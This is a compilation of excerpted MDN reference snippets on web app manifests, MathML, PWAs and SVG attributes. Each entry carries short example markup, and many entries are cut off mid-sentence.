examples if the scope is relative, the manifest url is used as a base url: "scope": "/app/" the following scope limits navigation to the current site: "scope": "https://example.com/" finally, the following example limits navigation to a subdirectory of the current site: "scope": "https://example.com/subdirectory/" specification specification status comment feedback web app manifestthe definition of 'scope' in that specification.
start_url - Web app manifests
examples absolute url "start_url": "https://example.com" relative url if the url is relative, the manifest url is used as the base url to resolve it.
Web app manifests
96", "type": "image/png" }, { "src": "images/touch/homescreen144.png", "sizes": "144x144", "type": "image/png" }, { "src": "images/touch/homescreen168.png", "sizes": "168x168", "type": "image/png" }, { "src": "images/touch/homescreen192.png", "sizes": "192x192", "type": "image/png" }], "related_applications": [{ "platform": "play", "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb" }] } deploying a manifest web app manifests are deployed in your html pages using a <link> element in the <head> of a document: <link rel="manifest" href="/manifest.webmanifest"> note: the .webmanifest extension is specified in the media type registration section of the specification (the response of the manifest file should retur...
MathML attribute reference - MathML
xmlns <math> specifies the uri for the mathml namespace (http://www.w3.org/1998/math/mathml) ...
<math> - MathML
WebMathMLElementmath
mi>a</mi> <mn>2</mn> </msup> <mo>+</mo> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mo>=</mo> <msup> <mi>c</mi> <mn>2</mn> </msup> </mrow> </math> </body> </html> xhtml notation <?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.1 plus mathml 2.0//en" "http://www.w3.org/math/dtd/mathml2/xhtml-math11-f.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>mathml in xhtml</title> </head> <body> <math xmlns="http://www.w3.org/1998/math/mathml"> <mrow> <mrow> <msup> <mi>a</mi> <mn>2</mn> </msup> <mo>+</mo> <msup> <mi>b</mi> <mn>2</mn> </msup> </...
Media container formats (file types) - Web media technologies
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
Guide to streaming audio and video - Web media technologies
https live streaming https live streaming (hls) is a protocol developed by apple and supported by safari on all of their platforms.
Installing and uninstalling web apps - Progressive web apps (PWAs)
the example displays a series of fox pictures.if you have a web application compatible device available, use it to navigate to our demo at https://mdn.github.io/pwa-examples/a2hs/.
How to make PWAs installable - Progressive web apps (PWAs)
requirements to make the web site installable, it needs the following things in place: a web manifest, with the correct fields filled in the web site to be served from a secure (https) domain an icon to represent the app on the device a service worker registered, to allow the app to work offline (this is required only by chrome for android currently) currently, only the chromium-based browsers such as chrome, edge, and samsung internet require the service worker.
Introduction to progressive web apps - Progressive web apps (PWAs)
safety the web platform provides a secure delivery mechanism that prevents snooping while simultaneously ensuring that content hasn’t been tampered with, as long as you take advantage of https and develop your apps with security in mind.
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
you can use the following ones:"); console.log(webpush.generatevapidkeys()); return; } webpush.setvapiddetails( 'https://serviceworke.rs/', process.env.vapid_public_key, process.env.vapid_private_key ); next, a module defines and exports all the routes an app needs to handle: getting the vapid public key, registering, and then sending notifications.
attributeName - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value <name> default value none animatable no <name> this value indicates the name of the css property or attribute of the target element to be animated.
attributeType - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value css | xml | auto default value auto animatable no css this value specifies that the value of attributename is the name of a css property defined as animatable.
azimuth - SVG: Scalable Vector Graphics
WebSVGAttributeazimuth
only one element is using this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight azimuth="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight azimuth="240" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default va...
baseProfile - SVG: Scalable Vector Graphics
only one element is using this attribute: <svg> context notes value profile name default value none animatable no example <svg width="120" height="120" version="1.1" xmlns="http://www.w3.org/2000/svg" baseprofile="full"> ...
baseline-shift - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
by - SVG: Scalable Vector Graphics
WebSVGAttributeby
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributename="width" fill="freeze" by="50" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will be animated.
class - SVG: Scalable Vector Graphics
WebSVGAttributeclass
example <html> <body> <svg width="120" height="220" viewport="0 0 120 120" version="1.1" xmlns="http://www.w3.org/2000/svg"> <style type="text/css" > <![cdata[ rect.rectclass { stroke: #000066; fill: #00cc00; } circle.circleclass { stroke: #006600; fill: #cc0000; } ]]> ...
clip - SVG: Scalable Vector Graphics
WebSVGAttributeclip
as a presentation attribute, it can be applied to any element but it has effect only on the following six elements: <svg>, <symbol>, <image>, <foreignobject>, <pattern>, <marker> html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- auto clipping --> <svg x="0" width="10" height="10" clip="auto"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> <!-- rect(top, right, bottom, left) clipping --> <svg x="10" width="10" height="10" clip="rect(1, 9, 8, 2)"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> </svg> usage notes warning: this property is depre...
color-interpolation-filters - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
color-interpolation - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
color-profile - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
color-rendering - SVG: Scalable Vector Graphics
ing 29 elements: <a>, <animate>, <animatecolor>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <glyph>, <image>, <line>, <lineargradient>, <marker>, <mask>, <missing-glyph>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient)" color-rendering="optimizequality" /> <text x="45" y="50%" color-rendering="optimizequ...
cursor - SVG: Scalable Vector Graphics
WebSVGAttributecursor
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
diffuseConstant - SVG: Scalable Vector Graphics
only one element is using this attribute: <fediffuselighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="2"> <fepointlight x="60...
direction - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <svg viewbox="0 0 600 72" xmlns="http://www.w3.org/2000/svg" direction="rtl" lang="fa"> <text x="300" y="50" text-anchor="middle" font-size="36">داستان svg 1.1 se طولا ني است.</text> </svg> usage notes value ltr | rtl default value ltr animatable yes specifications specification status comment css writing modes module level 3the de...
display - SVG: Scalable Vector Graphics
WebSVGAttributedisplay
html, body, svg { height: 100%; } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <!-- here the yellow rectangle is displayed --> <rect x="0" y="0" width="100" height="100" fill="skyblue"></rect> <rect x="20" y="20" width="60" height="60" fill="yellow"></rect> <!-- here the yellow rectangle is not displayed --> <rect x="120" y="0" width="100" height="100" fill="skyblue"></rect> <rect x="140" y="20" width="60" height="60" fill="yellow" displ...
divisor - SVG: Scalable Vector Graphics
WebSVGAttributedivisor
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="8"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_onl...
dur - SVG: Scalable Vector Graphics
WebSVGAttributedur
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="3s" repeatcount="indefinite"/> </rect> </svg> usage notes value <clock-value> | media | indefinite default value indefinite animatable no <clock-value> this value specif...
elevation - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight elevation="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight elevation="45" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> ...
exponent - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="1"/> <fefuncg type="gamma" exponent="1"/> <fefuncb type="gamma" exponent="1"/> </fecomponenttransfer>...
flood-color - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following two elements: <feflood> and <fedropshadow> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="skyblue" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood2); tra...
flood-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following two elements: <feflood> and <fedropshadow> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="seagreen" flood-opacity="1" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" flood-opacity="0.3" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" width="200" height...
font-size-adjust - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="600" height="80" viewbox="0 0 500 80" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="times, serif" font-size="10px"> this text uses the times font (10px), which is hard to read in small sizes.
font-size - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-size="smaller">smaller</text> <text x="100" y="20" font-size="2em">2em</text> </svg> usage notes value <absolute-size> | <relative-size> | <length-percentage> default value medium animatable yes for a description of the values, please refer to the css font-size property.
font-variant - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-variant="normal">normal text</text> <text x="100" y="20" font-variant="small-caps">small-caps text</text> </svg> usage notes value normal | none | [ <common-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> || stylistic( <feature-value-name> ) || historical-forms || styleset( <feature...
from - SVG: Scalable Vector Graphics
WebSVGAttributefrom
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" height="100"> <animate attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will be animated.
gradientTransform - SVG: Scalable Vector Graphics
two elements are using this attribute: <lineargradient> and <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient id="gradient1" gradientunits="userspaceonuse" cx="100" cy="100" r="100" fx="100" fy="100"> <stop offset="0%" stop-color="darkblue" /> <stop offset="50%" stop-color="skyblue" /> <stop offset="100%" stop-color="darkblue" /> </radialgradient> <radialgradient id="gradient2" gradientunits="userspaceonuse" cx="100" cy="100" r="100" f...
height - SVG: Scalable Vector Graphics
WebSVGAttributeheight
atrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- with a height of 0 or less, nothing will be rendered --> <rect y="0" x="0" width="90" height="0"/> <rect y="0" x="100" width="90" height="60"/> <rect y="0" x="200" width="90" height="100%"/> </svg> feblend for <feblend>, height defines the vertical length for the rendering area of the primitive.
id - SVG: Scalable Vector Graphics
WebSVGAttributeid
<svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <style type="text/css"> <![cdata[ #smallrect { stroke: #000066; fill: #00cc00; } ]]> </style> <rect id="smallrect" x="10" y="10" width="100" height="100" /> </svg> usage notes value <id> default value none animatable no <id> specifies the element's id.
intercept - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" intercept="0"/> <fefuncg type="linear" intercep...
kernelMatrix - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 1 0 0 0 0 0 0 -1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="-1 0 0 0 0 0 0 0 1"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200"...
kerning - SVG: Scalable Vector Graphics
WebSVGAttributekerning
as a presentation attribute, it can be applied to any element but it has effect only on the following four elements: <altglyph>, <textpath>, <text>, <tref>, and <tspan> html, body, svg { height: 100%; font: 36px verdana, helvetica, arial, sans-serif; } <svg viewbox="0 0 150 125" xmlns="http://www.w3.org/2000/svg"> <text x="10" y="30" kerning="auto">auto</text> <text x="10" y="70" kerning="0">number</text> <text x="10" y="110" kerning="20px">length</text> </svg> usage notes value auto | <length> default value auto animatable yes auto this value indicates that the spacing between glyphs is adjusted based on kerning tables that a...
keyPoints - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="motionpath"/> <circle cx="10" cy="110" r="3" fill="lightgrey"/> <circle cx="110" cy="10" r="3" fill="lightgrey"/> <circle r="5" fill="red"> <animatemotion dur="3s" repeatcount="indefinite" keypoints="0;0.5;1" keytimes="0;0.15;1" calcmode="linear"> <mpath xlink:href="#motionpath"/> </animatemotion> </circle> ...
keySplines - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" calcmode="spline" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> <animate attributename="cy" dur="4s" calcmode="spline" repeatcount="indefinite" values="10...
keyTimes - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes valu...
lang - SVG: Scalable Vector Graphics
WebSVGAttributelang
<svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element.
lengthAdjust - SVG: Scalable Vector Graphics
four elements are using this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="300" height="150" xmlns="http://www.w3.org/2000/svg"> <g font-face="sans-serif"> <text x="0" y="20" textlength="300" lengthadjust="spacing"> stretched using spacing only.
letter-spacing - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 400 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" letter-spacing="2">bigger letter-spacing</text> <text x="200" y="20" letter-spacing="-0.5">smaller letter-spacing</text> </svg> usage notes value normal | <length> default value normal animatable yes for a description of the values, please refer to the css letter-spacing property.
lighting-color - SVG: Scalable Vector Graphics
two elements are using this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="white"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="blue"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselight...
limitingConeAngle - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="spotlight1" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffuseconstant="2"> <fespotlight x="10" y="10" z="50" pointsatx="100" pointsaty="100" limitingconeangle="10" /> </fediffuselighting> </filter> <filter id="spotlight2" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffuseconstant="2"> <fespotlight x...
marker-end - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle" viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-end="url(#triangle)"/> ...
marker-mid - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="circle" markerwidth="8" markerheight="8" refx="4" refy="4"> <circle cx="4" cy="4" r="4" stroke="none" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-mid="url(#circle)"/> </svg> usage notes value none | <marker-ref> default value none ...
marker-start - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle" viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-start="url(#triangle)"/...
mask - SVG: Scalable Vector Graphics
WebSVGAttributemask
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask" maskcontentunits="objectboundingbox"> <rect fill="white" x="0" y="0" width="100%" height="100%" /> <polygon fill="black" points="0.5,0.2 0.68,0.74 0.21,0.41 0.79,0.41 0.32,0.74" /> </mask> <!-- punch a hole in a shape of a star inside the red circle, revealing the yellow circle underneath --> <circle cx="50" cy="50" r="20" fill="yellow" /> <circle cx="50" cy="50" r="45" fill="red" mask="url(#mymask)"/> </svg> since svg2, the mask attribu...
maskContentUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <mask> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskcontentunits="userspaceonuse"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskcontentunits="objectboundingbox"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx=".5" cy=".5" r=".35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> ...
maskUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <mask> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskunits="userspaceonuse" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskunits="objectboundingbox" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y=...
max - SVG: Scalable Vector Graphics
WebSVGAttributemax
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" max="6s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" max="6s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value none animatable no <clock-value> specifies...
media - SVG: Scalable Vector Graphics
WebSVGAttributemedia
only one element is using this attribute: <style> html, body, svg { height: 100%; } <svg viewbox="0 0 240 220" xmlns="http://www.w3.org/2000/svg"> <style> rect { fill: black; } </style> <style media="all and (min-width: 600px)"> rect { fill: seagreen; } </style> <text y="15">resize the window to see the effect</text> <rect y="20" width="200" height="200" /> </svg> usage notes value <media-query-list> default value all animatable yes <media-query-list> this value holds a media query that needs to match in order for the style sheet to be applied.
min - SVG: Scalable Vector Graphics
WebSVGAttributemin
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" min="2s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" min="2s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value 0 animatable no <clock-value> specifies th...
mode - SVG: Scalable Vector Graphics
WebSVGAttributemode
only one element is using this attribute: <feblend> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="blending1" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> <filter id="blending2" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="color-dodge"/> </filter> <image xlink:href="//developer...
onclick - SVG: Scalable Vector Graphics
WebSVGAttributeonclick
>, <defs>, <desc>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <lineargradient>, <marker>, <metadata>, <mpath>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <script>, <set>, <stop>, <style>, <svg>, <switch>, <symbol>, <text>, <textpath>, <title>, <tref>, <tspan>, <use>, <view> html, body, svg { height: 100%; margin: 0; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none animatable no specifications specification status comment scalable vector graphics (svg) 2the definition of 'onclick' in that specification.
opacity - SVG: Scalable Vector Graphics
WebSVGAttributeopacity
n attribute, it can be applied to any element but it has effect only on the following elements: <a>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <marker>, <path>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use>, <unknown>, and <video> html, body, svg { height: 100%; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" x1="0%" y1="0%" x2="0" y2="100%"> <stop offset="0%" style="stop-color:skyblue;" /> <stop offset="100%" style="stop-color:seagreen;" /> </lineargradient> </defs> <rect x="0" y="0" width="100%" height="100%" fill="url(#gradient)" /> <circle cx="50" cy="50" r="40" fill="black" /> <circle cx="150" cy="50" r="40...
operator - SVG: Scalable Vector Graphics
